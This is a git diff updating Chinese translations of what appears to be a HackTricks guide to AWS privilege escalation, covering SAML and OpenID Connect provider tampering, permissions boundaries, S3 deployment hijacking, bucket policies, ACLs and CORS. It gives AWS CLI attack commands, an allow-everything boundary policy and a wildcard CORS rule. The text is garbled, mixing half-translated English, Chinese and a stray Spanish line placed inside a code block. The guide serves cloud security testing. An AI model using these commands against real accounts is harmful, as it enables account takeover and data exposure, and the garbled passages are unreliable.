-拥有这些权限你可以**更改 SAML 连接的 XML 元数据**。然后,你可以滥用**SAML federation**来**使用任何信任它的角色登录**。
+有了这些权限,你可以**更改 SAML 连接的 XML 元数据**。然后,你可以滥用**SAML 联合**来**使用任何信任该联合的角色登录**。
-注意,这样做会导致**合法用户无法登录**。不过,你可以获取到 XML,把你的放上去,登录后再把之前的配置改回去
+注意,执行此操作后**合法用户将无法登录**。不过,你可以获取 XML,把你的放进去,登录,然后把之前的配置恢复回去。
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: 一个能够生成 SAML 元数据并以指定角色登录的工具
+> TODO: 一个能够生成 SAML metadata 并以指定 role 登录的工具
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(不确定) 如果攻击者拥有这些 **权限**,他可以添加一个新的 **Thumbprint**,从而登录所有信任该提供者的角色。
+(不确定) 如果攻击者拥有这些 **权限**,他可能添加一个新的 **Thumbprint**,从而能够登录所有信任该 provider 的 roles。
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-该权限允许攻击者更新用户的 permissions boundary,可能提升他们的权限,使其能够执行通常受其现有权限限制的操作。
+此权限允许攻击者更新用户的权限边界,可能通过允许其执行通常受其现有权限限制的操作来提升其权限。
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+拥有 `iam:PutRolePermissionsBoundary` 权限的主体可以在现有角色上设置权限边界。风险在于,当具备此权限的人更改角色的边界时:他们可能会不当地限制操作(导致服务中断),或者如果附加了一个宽松的边界,则会有效地扩大该角色的能力并导致权限提升。
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
## 参考资料
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index 2861abb8e..316479c7b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-攻击者如果在有价值的存储桶上拥有这些权限,可能能够劫持资源并提升权限。
+拥有这些权限的攻击者在感兴趣的存储桶上可能能够劫持资源并提升权限。
-例如,攻击者如果对名为 "cf-templates-nohnwfax6a6i-us-east-1" 的 **cloudformation bucket** 拥有这些权限,就能够劫持部署。可以通过下面的策略授予该访问权限:
+例如,拥有对名为 "cf-templates-nohnwfax6a6i-us-east-1" 的 **cloudformation bucket 的这些权限** 的攻击者将能够劫持部署。可以通过以下策略授予该访问:
```json
{
"Version": "2012-10-17",
@@ -34,21 +34,21 @@
]
}
```
-And the hijack is possible because there is a **从模板被上传到 bucket 的瞬间起的很短时间窗口** to the bucket to the moment the **模板被部署**. An attacker might just create a **lambda function** in his account that will **发送 bucket 通知时触发** , and **hijacks** the **内容** of that **bucket**.
+And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
.png>)
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
-For 更多信息请查看原始研究: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-These are the permissions to **获取并上传对象到 S3**. Several services inside AWS (and outside of it) use S3 storage to store **配置文件**.\
-An attacker with **读取权限** to them might find **敏感信息** on them.\
-An attacker with **写入权限** to them could **modify the data to abuse some service and try to escalate privileges**.\
-These are some examples:
+这些是用于**从 S3 获取和上传对象**的权限。AWS(以及外部服务)中的若干服务使用 S3 存储来保存 **配置文件**。\
+拥有 **read access** 的攻击者可能会在其中发现 **敏感信息**。\
+拥有 **write access** 的攻击者可以**修改数据以滥用某些服务并尝试 escalate privileges**。\
+以下是一些示例:
-- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
+- 如果某个 EC2 实例将 **user data 存放在 S3 bucket** 中,攻击者可以修改它以 **execute arbitrary code inside the EC2 instance**。
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
@@ -65,7 +65,7 @@ Follow the description in the *Abusing Terraform State Files* section of the *Te
### `s3:PutBucketPolicy`
-An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
+攻击者需要**来自同一账号**,否则会触发错误 `The specified method is not allowed`,拥有此权限的攻击者可以为自己授予对该 bucket(s) 的更多权限,从而读取、写入、修改、删除并暴露这些 bucket。
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -123,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-攻击者可以滥用这些权限,对 buckets 中的特定 objects 授予更多访问权限。
+攻击者可以滥用这些权限,授予自己对桶内特定对象的更高访问权限。
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -178,9 +178,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-拥有这些权限的攻击者应该能够为特定对象版本设置 Acl。
+攻击者拥有这些权限后,应该能够将 Acl 应用到特定的对象版本上。
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+拥有 s3:PutBucketCORS 权限的攻击者可以修改 bucket 的 CORS(跨源资源共享,Cross-Origin Resource Sharing)配置,该配置控制哪些网站域名可以访问其端点。如果他们设置了宽松的策略,任意网站都可以从浏览器直接向该 bucket 发起请求并读取响应。
+
+这意味着,如果托管在该 bucket 的 web 应用的已认证用户访问了攻击者的网站,攻击者可能会利用宽松的 CORS 策略,视应用而定访问该用户的个人资料数据,甚至劫持用户账户。
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}